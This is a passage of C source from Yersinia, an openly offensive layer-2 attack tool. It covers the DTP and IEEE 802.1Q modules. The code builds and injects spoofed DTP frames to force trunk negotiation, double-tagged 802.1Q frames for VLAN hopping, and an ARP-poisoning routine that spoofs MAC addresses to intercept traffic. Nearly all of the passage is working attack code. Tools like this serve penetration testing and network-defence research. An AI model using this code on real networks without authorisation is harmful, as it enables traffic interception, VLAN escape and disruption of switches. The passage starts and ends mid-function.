sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dtp_th_send pthread_sigmask()",errno); dtp_th_send_exit(attacks); } dtp_send(attacks); dtp_th_send_exit(attacks); } void dtp_th_send_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t dtp_send(struct attacks *attacks) { libnet_ptag_t t; libnet_t *lhandler; u_int32_t dtp_len, sent; struct dtp_data *dtp_data; u_int8_t *dtp_packet, *aux; u_int8_t cisco_data[]={ 0x00, 0x00, 0x0c, 0x20, 0x04 }; dlist_t *p; struct interface_data *iface_data; struct interface_data *iface_data2; dtp_data = attacks->data; dtp_len = sizeof(cisco_data)+dtp_data->dom_len+26; dtp_packet = calloc(1,dtp_len); if (dtp_packet == NULL) { thread_error("dtp_send calloc error",errno); return -1; } aux = dtp_packet; memcpy(dtp_packet,cisco_data,sizeof(cisco_data)); aux+=sizeof(cisco_data); *aux = dtp_data->version; aux++; aux++; *aux = DTP_TYPE_DOMAIN; aux++; aux++; *aux = dtp_data->dom_len+5; aux++; memcpy(aux,dtp_data->domain,dtp_data->dom_len); aux+=dtp_data->dom_len; aux++; aux++; *aux = DTP_TYPE_STATUS; aux++; aux++; *aux = 0x05; aux++; *aux = dtp_data->status; aux++; aux++; *aux = DTP_TYPE_TYPE; aux++; aux++; *aux = 0x05; aux++; *aux = dtp_data->type; aux++; aux++; *aux = DTP_TYPE_NEIGHBOR; aux++; aux++; *aux = 0x0a; aux++; memcpy(aux,dtp_data->neighbor,ETHER_ADDR_LEN); for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; t = libnet_build_802_2( 0xaa, /* DSAP */ 0xaa, /* SSAP */ 0x03, /* control */ dtp_packet, /* payload */ dtp_len, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); free(dtp_packet); return -1; } t = libnet_build_802_3( dtp_data->mac_dest, /* ethernet destination */ (attacks->mac_spoofing) ? dtp_data->mac_source : iface_data->etheraddr, /* ethernet source */ LIBNET_802_2_H + dtp_len, /* frame size */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); free(dtp_packet); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); free(dtp_packet); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_DTP].packets_out++; iface_data2 = interfaces_get_struct(iface_data->ifname); iface_data2->packets_out[PROTO_DTP]++; } free(dtp_packet); return 0; } int8_t dtp_init_attribs(struct term_node *node) { struct dtp_data *dtp_data; dtp_data = node->protocol[PROTO_DTP].tmp_data; attack_gen_mac(dtp_data->mac_source); dtp_data->mac_source[0] &= 0x0E; parser_vrfy_mac("01:00:0c:cc:cc:cc",dtp_data->mac_dest); dtp_data->version = DTP_DFL_VERSION; memcpy(dtp_data->domain,DTP_DFL_DOMAIN,sizeof(DTP_DFL_DOMAIN)); dtp_data->dom_len = DTP_DFL_DOM_LEN; dtp_data->status = DTP_DFL_STATUS; dtp_data->type = DTP_DFL_TYPE; memcpy(dtp_data->neighbor,dtp_data->mac_source,6); return 0; } /*****************************/ /* Child/Thread loop sending */ /* DTP packets every 30 secs */ /*****************************/ void dtp_send_negotiate(void *arg) { int32_t ret; u_int16_t secs; struct timeval hello; struct attacks *attacks; struct dtp_data *dtp_data; attacks = arg; pthread_mutex_lock(&attacks->helper_th.finished); pthread_detach(pthread_self()); dtp_data = attacks->data; hello.tv_sec = 0; hello.tv_usec = 0; secs = 0; write_log(0,"\n dtp_helper: %d init...\n",(int)pthread_self()); while(!attacks->helper_th.stop) { if ( (ret=select( 0, NULL, NULL, NULL, &hello ) ) == -1 ) break; if ( !ret ) /* Timeout... */ { if (secs == 30) /* Send DTP negotiate...*/ { dtp_send(attacks); secs=0; } else secs++; } hello.tv_sec = 1; hello.tv_usec = 0; } write_log(0," dtp_helper: %d finished...\n",(int)pthread_self()); pthread_mutex_unlock(&attacks->helper_th.finished); pthread_exit(NULL); } void dtp_th_nondos_do_trunk(void *arg) { struct attacks *attacks=NULL; struct dtp_data *dtp_data, dtp_data_learned; struct pcap_pkthdr header; struct pcap_data pcap_aux; struct libnet_802_3_hdr *ether; struct timeval now; u_int8_t *packet=NULL, *cursor; sigset_t mask; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dtp_nondos_do_trunk pthread_sigmask()",errno); dtp_th_nondos_do_trunk_exit(attacks); } dtp_data = attacks->data; gettimeofday(&now,NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; /* If you want to test the NULL domain just set the defaults DTP packet values */ /* and comment the following lines. (and recompile)*/ /* From here... if (dtp_learn_packet(ALL_INTS,&attacks->attack_th.stop, &dtp_data_learned, &header) < 0) dtp_th_nondos_do_trunk_exit(attacks); memcpy(dtp_data->mac_dest, dtp_data_learned.mac_dest,6); memcpy(dtp_data->domain,(void *)dtp_data_learned.domain, dtp_data_learned.dom_len); dtp_data->version = dtp_data_learned.version; dtp_data->dom_len = dtp_data_learned.dom_len; dtp_data->status = dtp_data_learned.status; dtp_data->type = dtp_data_learned.type; ... to here. */ if ((packet = calloc(1, SNAPLEN)) == NULL) dtp_th_nondos_do_trunk_exit(attacks); dtp_send(attacks); thread_usleep(999999); dtp_send(attacks); thread_usleep(999999); dtp_send(attacks); thread_create(&attacks->helper_th.id, &dtp_send_negotiate, attacks); while (!attacks->attack_th.stop) { interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_DTP, NO_TIMEOUT); if (attacks->attack_th.stop) break; cursor = (packet + LIBNET_802_3_H + LIBNET_802_2_H); ether = (struct libnet_802_3_hdr *) packet; if (!memcmp(dtp_data->mac_source,ether->_802_3_shost,6) ) continue; /* Oops!! Its our packet... */ pcap_aux.header = &header; pcap_aux.packet = packet; if (dtp_load_values(&pcap_aux, &dtp_data_learned) < 0) continue; switch( dtp_data_learned.status & 0xF0) { case DTP_TRUNK: dtp_data->status = (DTP_TRUNK | DTP_DESIRABLE); break; case DTP_ACCESS: dtp_data->status = (DTP_ACCESS | DTP_DESIRABLE); break; } } free(packet); dtp_th_nondos_do_trunk_exit(attacks); } void dtp_th_nondos_do_trunk_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t dtp_learn_packet(struct attacks *attacks, char *iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header) { struct dtp_data *dtp_data; struct pcap_data pcap_aux; u_int8_t *packet, *cursor, got_dtp_packet = 0; dlist_t *p; struct interface_data *iface_data; dtp_data = (struct dtp_data *)data; if ((packet = calloc(1, SNAPLEN)) == NULL) return -1; if (iface) { p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, iface); if (!p) return -1; iface_data = (struct interface_data *) dlist_data(p); } else { iface_data = NULL; } while (!got_dtp_packet && !(*stop)) { interfaces_get_packet(attacks->used_ints, iface_data, stop, header, packet, PROTO_DTP, NO_TIMEOUT); if (*stop) { free(packet); return -1; } cursor = (packet + LIBNET_802_3_H + LIBNET_802_2_H); pcap_aux.header = header; pcap_aux.packet = packet; if (!dtp_load_values((struct pcap_data *)&pcap_aux, dtp_data)) got_dtp_packet = 1; } /* While got */ free(packet); return 0; } /* * Return formated strings of each DTP field */ char ** dtp_get_printable_packet(struct pcap_data *data) { struct libnet_802_3_hdr *ether; u_int8_t *dtp_data, *ptr, *tlv_data; /*, *aux;*/ u_int16_t tlv_type, tlv_len; #ifdef LBL_ALIGN u_int16_t aux_short; #endif char **field_values; if ((field_values = (char **) protocol_create_printable(protocols[PROTO_DTP].nparams, protocols[PROTO_DTP].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } ether = (struct libnet_802_3_hdr *) data->packet; dtp_data = (u_int8_t *) (data->packet + LIBNET_802_3_H + LIBNET_802_2SNAP_H); /* Source MAC */ snprintf(field_values[DTP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2], ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]); /* Destination MAC */ snprintf(field_values[DTP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_dhost[0], ether->_802_3_dhost[1], ether->_802_3_dhost[2], ether->_802_3_dhost[3], ether->_802_3_dhost[4], ether->_802_3_dhost[5]); ptr = dtp_data; /* DTP Version */ snprintf(field_values[DTP_VERSION], 3, "%02X", *ptr); ptr++; while(ptr < data->packet + data->header->caplen) { /* Undersized packet!! */ if ( (ptr+4) > (data->packet + data->header->caplen)) /* return NULL;*/ break; #ifdef LBL_ALIGN memcpy((void *)&aux_short,ptr,2); tlv_type = ntohs(aux_short); memcpy((void *)&aux_short,(ptr+2),2); tlv_len = ntohs(aux_short); #else tlv_type = ntohs(*(u_int16_t *)ptr); tlv_len = ntohs(*(u_int16_t *)(ptr+2)); #endif if ( (ptr+tlv_len) > (data->packet + data->header->caplen)) { write_log(0,"DTP Oversized packet!!\n"); return NULL; /* Oversized packet!! */ } if (!tlv_len) { /* write_log(0, "a ver...%X %X %X %X %X %X %X %X\n", *(ptr), *(ptr+1), *(ptr+2), *(ptr+3),*(ptr+4), *(ptr+5), *(ptr+6), *(ptr+7));*/ break; } /* * TLV Len must be at least 5 bytes (header + data). * Anyway i think we can give a chance to the rest * of TLVs... ;) */ if (tlv_len > 4) { switch(tlv_type) { case DTP_TYPE_DOMAIN: if ((tlv_len-4) < 20 ) /*DTP_DOMAIN_SIZE )*/ { memcpy(field_values[DTP_DOMAIN], ptr+4, tlv_len-4); field_values[DTP_DOMAIN][(tlv_len-4)]=0; } else { memcpy(field_values[DTP_DOMAIN], ptr+4, 20); field_values[DTP_DOMAIN][19]= '|'; field_values[DTP_DOMAIN][20]= '\0'; } break; case DTP_TYPE_STATUS: if (tlv_len == 5) { tlv_data = (ptr+4); snprintf(field_values[DTP_STATUS], 3, "%02X", *tlv_data); } break; case DTP_TYPE_TYPE: if (tlv_len == 5) { tlv_data = (ptr+4); snprintf(field_values[DTP_TYPE], 3, "%02X", *tlv_data); } break; case DTP_TYPE_NEIGHBOR: if (tlv_len == 10 ) { tlv_data = (ptr+4); snprintf(field_values[DTP_NEIGH], 13, "%02X%02X%02X%02X%02X%02X", *tlv_data, *(tlv_data+1), *(tlv_data+2), *(tlv_data+3), *(tlv_data+4), *(tlv_data+5)); } break; } } ptr += tlv_len; } return (char **)field_values; } char ** dtp_get_printable_store(struct term_node *node) { struct dtp_data *dtp_tmp; char **field_values; /* smac + dmac + version + domain + status + type + neighbor + null = 8 */ if ((field_values = (char **) protocol_create_printable(protocols[PROTO_DTP].nparams, protocols[PROTO_DTP].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } if (node == NULL) dtp_tmp = protocols[PROTO_DTP].default_values; else dtp_tmp = (struct dtp_data *) node->protocol[PROTO_DTP].tmp_data; /* Source MAC */ snprintf(field_values[DTP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", dtp_tmp->mac_source[0], dtp_tmp->mac_source[1], dtp_tmp->mac_source[2], dtp_tmp->mac_source[3], dtp_tmp->mac_source[4], dtp_tmp->mac_source[5]); /* Destination MAC */ snprintf(field_values[DTP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", dtp_tmp->mac_dest[0], dtp_tmp->mac_dest[1], dtp_tmp->mac_dest[2], dtp_tmp->mac_dest[3], dtp_tmp->mac_dest[4], dtp_tmp->mac_dest[5]); snprintf(field_values[DTP_VERSION], 3, "%02X", dtp_tmp->version); memcpy(field_values[DTP_DOMAIN], dtp_tmp->domain, DTP_DOMAIN_SIZE); snprintf(field_values[DTP_STATUS], 5, "%02hX", dtp_tmp->status); snprintf(field_values[DTP_TYPE], 5, "%02hX", dtp_tmp->type); snprintf(field_values[DTP_NEIGH], 13, "%02X%02X%02X%02X%02X%02X", dtp_tmp->neighbor[0], dtp_tmp->neighbor[1], dtp_tmp->neighbor[2], dtp_tmp->neighbor[3], dtp_tmp->neighbor[4], dtp_tmp->neighbor[5]); return (char **)field_values; } /* * Load values from packet to data. * At the moment this function is called only * from ncurses-gui.c */ int8_t dtp_load_values(struct pcap_data *data, void *values) { struct libnet_802_3_hdr *ether; struct dtp_data *dtp; u_int8_t *dtp_data, *ptr; u_int16_t tlv_type, tlv_len; #ifdef LBL_ALIGN u_int16_t aux_short; #endif dtp = (struct dtp_data *)values; ether = (struct libnet_802_3_hdr *) data->packet; dtp_data = (u_int8_t *) (data->packet + LIBNET_802_3_H + LIBNET_802_2SNAP_H); /* Source MAC */ memcpy(dtp->mac_source, ether->_802_3_shost, ETHER_ADDR_LEN); /* Destination MAC */ memcpy(dtp->mac_dest, ether->_802_3_dhost, ETHER_ADDR_LEN); ptr = dtp_data; /* DTP Version */ dtp->version = *ptr; ptr++; while(ptr < data->packet + data->header->caplen) { /* Undersized packet!! */ if ( (ptr+4) > (data->packet + data->header->caplen)) return 0; #ifdef LBL_ALIGN memcpy((void *)&aux_short,ptr,2); tlv_type = ntohs(aux_short); memcpy((void *)&aux_short,(ptr+2),2); tlv_len = ntohs(aux_short); #else tlv_type = ntohs(*(u_int16_t *)ptr); tlv_len = ntohs(*(u_int16_t *)(ptr+2)); #endif if ( (ptr+tlv_len) > (data->packet + data->header->caplen)) return -1; /* Oversized packet!! */ if (!tlv_len) return 0; /* * TLV len must be at least 5 bytes (header + data). * Anyway i think we can give a chance to the rest * of TLVs... ;) */ if (tlv_len > 4) { switch(tlv_type) { case DTP_TYPE_DOMAIN: if ((tlv_len-4) < DTP_DOMAIN_SIZE ) { memcpy(dtp->domain, (ptr+4), tlv_len-4); dtp->domain[(tlv_len-4)]=0; dtp->dom_len = tlv_len-4; } else { memcpy(dtp->domain, (ptr+4), DTP_DOMAIN_SIZE); dtp->domain[DTP_DOMAIN_SIZE]=0; dtp->dom_len = DTP_DOMAIN_SIZE; } break; case DTP_TYPE_STATUS: if (tlv_len == 5) { dtp->status = *(ptr+4); } break; case DTP_TYPE_TYPE: if (tlv_len == 5) { dtp->type = *(ptr+4); } break; case DTP_TYPE_NEIGHBOR: if (tlv_len == 10 ) memcpy(dtp->neighbor, (ptr+4), 6); break; } } ptr += tlv_len; } return 0; } int8_t dtp_update_field(int8_t state, struct term_node *node, void *value) { struct dtp_data *dtp_data; if (node == NULL) dtp_data = protocols[PROTO_DTP].default_values; else dtp_data = node->protocol[PROTO_DTP].tmp_data; switch(state) { /* Source MAC */ case DTP_SMAC: memcpy((void *)dtp_data->mac_source, (void *)value, ETHER_ADDR_LEN); break; /* Destination MAC */ case DTP_DMAC: memcpy((void *)dtp_data->mac_dest, (void *)value, ETHER_ADDR_LEN); break; /* Version */ case DTP_VERSION: dtp_data->version = *(u_int8_t *)value; break; /* Status */ case DTP_STATUS: dtp_data->status = *(u_int8_t *)value; break; /* Type */ case DTP_TYPE: dtp_data->type = *(u_int8_t *)value; break; default: break; } return 0; } int8_t dtp_end(struct term_node *node) { return 0; } yersinia-0.7.3/src/dot1q.c0000644000175000017500000012304712234207266013144 0ustar nknk/* dot1q.c * Implementation and attacks for IEEE 802.1Q * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: dot1q.c 43 2007-04-27 11:07:17Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #include #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #ifdef HAVE_PTHREAD_H #include #endif #include #include "dot1q.h" void dot1q_register(void) { protocol_register(PROTO_DOT1Q, "802.1Q", "IEEE 802.1Q", "dot1q", sizeof(struct dot1q_data), dot1q_init_attribs, dot1q_learn_packet, dot1q_get_printable_packet, dot1q_get_printable_store, dot1q_load_values, dot1q_attack, dot1q_update_field, dot1q_features, dot1q_comm_params, SIZE_ARRAY(dot1q_comm_params), NULL, 0, NULL, dot1q_init_comms_struct, PROTO_VISIBLE, dot1q_end); } /* * Inicializa la estructura que se usa para relacionar el tmp_data * de cada nodo con los datos que se sacaran por pantalla cuando * se accede al demonio de red. * Teoricamente como esta funcion solo se llama desde term_add_node() * la cual, a su vez, solo es llamada al tener el mutex bloqueado por * lo que no veo necesario que sea reentrante. (Fredy). */ int8_t dot1q_init_comms_struct(struct term_node *node) { struct dot1q_data *dot1q_data; void **comm_param; comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(dot1q_comm_params)); if (comm_param == NULL) { thread_error("dot1q_init_commands_struct calloc error",errno); return -1; } dot1q_data = node->protocol[PROTO_DOT1Q].tmp_data; node->protocol[PROTO_DOT1Q].commands_param = comm_param; comm_param[0] = &dot1q_data->mac_source; comm_param[1] = &dot1q_data->mac_dest; comm_param[2] = &dot1q_data->vlan1; comm_param[3] = &dot1q_data->priority1; comm_param[4] = &dot1q_data->cfi1; comm_param[5] = &dot1q_data->tpi2; comm_param[6] = &dot1q_data->vlan2; comm_param[7] = &dot1q_data->priority2; comm_param[8] = &dot1q_data->cfi2; comm_param[9] = &dot1q_data->tpi3; comm_param[10] = &dot1q_data->src_ip; comm_param[11] = &dot1q_data->dst_ip; comm_param[12] = &dot1q_data->ip_proto; comm_param[13] = &dot1q_data->icmp_payload; comm_param[14] = NULL; comm_param[15] = NULL; return 0; } void dot1q_th_send(void *arg) { struct attacks *attacks=NULL; sigset_t mask; struct dot1q_data *dot1q_data; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dot1q_th_send pthread_sigmask()",errno); dot1q_th_send_exit(attacks); } dot1q_data = attacks->data; dot1q_data->tpi1 = ETHERTYPE_VLAN; dot1q_data->tpi2 = ETHERTYPE_IP; dot1q_send_icmp(attacks,0); dot1q_th_send_exit(attacks); } void dot1q_th_send_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } void dot1q_double_th_send(void *arg) { struct attacks *attacks=NULL; sigset_t mask; struct dot1q_data *dot1q_data; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dot1q_th_send pthread_sigmask()",errno); dot1q_double_th_send_exit(attacks); } dot1q_data = attacks->data; dot1q_data->tpi1 = ETHERTYPE_VLAN; dot1q_data->tpi2 = ETHERTYPE_VLAN; dot1q_send_icmp(attacks,1); dot1q_double_th_send_exit(attacks); } void dot1q_double_th_send_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t dot1q_send_icmp(struct attacks *attacks, u_int8_t double_encap) { libnet_ptag_t t; libnet_t *lhandler; int32_t sent; u_int16_t *aux; int32_t payload_size=0; struct dot1q_data *dot1q_data; u_int8_t *payload=NULL; dlist_t *p; struct interface_data *iface_data; struct interface_data *iface_data2; dot1q_data = attacks->data; dot1q_data->icmp_pay_len = strlen((const char *)dot1q_data->icmp_payload); /* 802.1Q Double encap. */ if (double_encap) { payload_size=4; payload = (u_int8_t *)calloc(payload_size,1); if (payload == NULL) { thread_error("dot1q payload calloc()",errno); return -1; } aux = (u_int16_t *)(payload); *aux = htons((dot1q_data->priority2 << 13) | (dot1q_data->cfi2 << 12) | (dot1q_data->vlan2 & LIBNET_802_1Q_VIDMASK)); aux = (u_int16_t *)(payload+2); *aux = htons(dot1q_data->tpi3); } for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; t = libnet_build_icmpv4_echo( ICMP_ECHO, /* type */ 0, /* code */ 0, /* checksum */ 0x42, /* id */ 0x42, /* sequence number */ dot1q_data->icmp_pay_len?dot1q_data->icmp_payload:NULL, /* payload */ dot1q_data->icmp_pay_len, /* payload size */ lhandler, /* libnet handle */ 0); if (t == -1) { thread_libnet_error("Can't build icmp header",lhandler); libnet_clear_packet(lhandler); if (payload) free(payload); return -1; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H+ dot1q_data->icmp_pay_len, /* length */ 0, /* TOS */ 0x42, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_ICMP, /* protocol */ 0, /* checksum */ htonl(dot1q_data->src_ip), /* source IP */ htonl(dot1q_data->dst_ip), /* destination IP */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); if (t == -1) { thread_libnet_error("Can't build ip header",lhandler); libnet_clear_packet(lhandler); if (payload) free(payload); return -1; } t = libnet_build_802_1q( dot1q_data->mac_dest, /* dest mac */ (attacks->mac_spoofing) ? dot1q_data->mac_source : iface_data->etheraddr, dot1q_data->tpi1, /* TPI */ dot1q_data->priority1, /* priority (0 - 7) */ dot1q_data->cfi1, /* CFI flag */ dot1q_data->vlan1, /* vid (0 - 4095) */ dot1q_data->tpi2, payload, /* payload */ payload_size, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build 802.1q header",lhandler); libnet_clear_packet(lhandler); if (payload) free(payload); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); if (payload) free(payload); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_DOT1Q].packets_out++; iface_data2 = interfaces_get_struct(iface_data->ifname); iface_data2->packets_out[PROTO_DOT1Q]++; } if (payload) free(payload); return 0; } void dot1q_th_poison(void *arg) { libnet_ptag_t t; libnet_t *lhandler; struct attacks *attacks=NULL; struct dot1q_data *dot1q_data; struct pcap_pkthdr header; struct pcap_data pcap_aux; struct libnet_802_3_hdr *ether; struct timeval now; u_int8_t *packet=NULL, out=0, arp_mac[ETHER_ADDR_LEN]; u_int16_t *cursor; int32_t sent; sigset_t mask; dlist_t *p; struct interface_data *iface_data; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dot1q_th_poison pthread_sigmask()",errno); dot1q_th_poison_exit(attacks); } dot1q_data = attacks->data; dot1q_data->tpi1 = ETHERTYPE_VLAN; gettimeofday(&now,NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; if (dot1q_learn_mac(attacks, &header, arp_mac) < 0) dot1q_th_poison_exit(attacks); if ((packet = calloc(1, SNAPLEN)) == NULL) dot1q_th_poison_exit(attacks); thread_create(&attacks->helper_th.id, &dot1q_send_arp_poison, attacks); while (!attacks->attack_th.stop && !out) { interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_DOT1Q, NO_TIMEOUT); if (attacks->attack_th.stop) break; ether = (struct libnet_802_3_hdr *) packet; iface_data = (struct interface_data *) dlist_data(attacks->used_ints->list); if ( memcmp((attacks->mac_spoofing)?dot1q_data->mac_source:iface_data->etheraddr, ether->_802_3_dhost,6)) continue; /* Not for the poisoned MAC... */ pcap_aux.header = &header; pcap_aux.packet = packet; cursor = (u_int16_t *) (packet + LIBNET_802_3_H); /* cursor++; */ /* 802.3 if (ntohs(*cursor) < 0x0800) do_802_3 = 1; */ for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; t = libnet_build_ethernet( arp_mac, /* dest mac */ (attacks->mac_spoofing) ? dot1q_data->mac_source : iface_data->etheraddr, /* src mac*/ ETHERTYPE_VLAN, /* type */ (u_int8_t *)cursor, /* payload */ header.len - LIBNET_802_3_H, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build Ethernet_II header",lhandler); libnet_clear_packet(lhandler); out = 1; break; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); out = 1; break; } libnet_clear_packet(lhandler); protocols[PROTO_DOT1Q].packets_out++; iface_data->packets_out[PROTO_DOT1Q]++; } } /*...!stop*/ /* dot1q_return_mac(attacks, arp_mac); */ free(packet); dot1q_th_poison_exit(attacks); } /* * ARP Poison. Get the real MAC address for arp_ip... */ int8_t dot1q_learn_mac(struct attacks *attacks, struct pcap_pkthdr *header, u_int8_t *arp_mac) { struct dot1q_data *dot1q_data, dot1q_data_learned; struct attack_param *param=NULL; struct pcap_data pcap_aux; struct libnet_802_3_hdr *ether; u_int32_t arp_src, arp_dst; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int8_t arp_mac_dest[ETHER_ADDR_LEN]; int8_t ret, gotit=0; u_int8_t *packet=NULL; u_int16_t *cursor, *arp_vlan; dlist_t *p; struct interface_data *iface_data; dot1q_data = attacks->data; param = attacks->params; arp_vlan = (u_int16_t *)param[DOT1Q_ARP_VLAN].value; memcpy((void *)&arp_src, param[DOT1Q_ARP_IP_SRC].value, 4); memcpy((void *)&arp_dst, param[DOT1Q_ARP_IP].value, 4); memcpy((void *)mac_dest, (void *)"\xff\xff\xff\xff\xff\xff", ETHER_ADDR_LEN); memcpy((void *)arp_mac_dest, (void *)"\x00\x00\x00\x00\x00\x00", ETHER_ADDR_LEN); header->ts.tv_sec = 0; header->ts.tv_usec = 0; if ((packet = calloc(1, SNAPLEN)) == NULL) return -1; while (!attacks->attack_th.stop && !gotit) { thread_usleep(800000); for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); ret = dot1q_send_arp(iface_data, ARPOP_REQUEST, (attacks->mac_spoofing)?dot1q_data->mac_source:iface_data->etheraddr, mac_dest, (u_int8_t *)&arp_src, (u_int8_t *)&arp_dst, arp_mac_dest, *arp_vlan, dot1q_data->priority1); if (ret == -1) { free(packet); return ret; } } interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, header, packet, PROTO_DOT1Q, NO_TIMEOUT); if (attacks->attack_th.stop) break; ether = (struct libnet_802_3_hdr *) packet; iface_data = (struct interface_data *) dlist_data(attacks->used_ints->list); if ( !memcmp((attacks->mac_spoofing)?dot1q_data->mac_source:iface_data->etheraddr, ether->_802_3_shost, 6) ) continue; /* Oops!! Its our packet... */ if ( memcmp((attacks->mac_spoofing)?dot1q_data->mac_source:iface_data->etheraddr, ether->_802_3_dhost,6)) continue; /* Not a response... */ pcap_aux.header = header; pcap_aux.packet = packet; if (dot1q_load_values(&pcap_aux, &dot1q_data_learned) < 0) continue; if (dot1q_data_learned.tpi2 != ETHERTYPE_ARP) continue; cursor = (u_int16_t *) (packet + LIBNET_802_3_H); cursor++; if (ntohs(*cursor) < 0x0800) /* 802.3 */ cursor+=4; cursor+=2; if (ntohs(*cursor) != ETHERTYPE_IP) continue; cursor+=2; if (ntohs(*cursor) != 2 ) continue; cursor+=4; if (memcmp((void *)cursor,(void *)&arp_dst,4)) continue; memcpy((void *)arp_mac,(void *)ether->_802_3_shost,6); write_log(0, " ARP Spoofing MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2], ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]); gotit = 1; } /* !stop */ free(packet); if (attacks->attack_th.stop) return -1; return 0; } /* * ARP Poison. Return the MAC to its owner :)... */ int8_t dot1q_return_mac(struct attacks *attacks, u_int8_t *arp_mac) { struct attack_param *param = NULL; struct dot1q_data *dot1q_data; u_int32_t arp_ip, arp_dst; u_int8_t a; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int16_t *arp_vlan; int8_t ret; dlist_t *p; struct interface_data *iface_data; dot1q_data = attacks->data; param = attacks->params; arp_vlan = (u_int16_t *)param[DOT1Q_ARP_VLAN].value; memcpy((void *)&arp_ip,param[DOT1Q_ARP_IP].value,4); memcpy((void *)mac_dest, (void *)"\xff\xff\xff\xff\xff\xff", ETHER_ADDR_LEN); /*arp_ip = htonl(arp_ip);*/ arp_dst = 0; for ( a=0; a < 3; a++) { for (p = 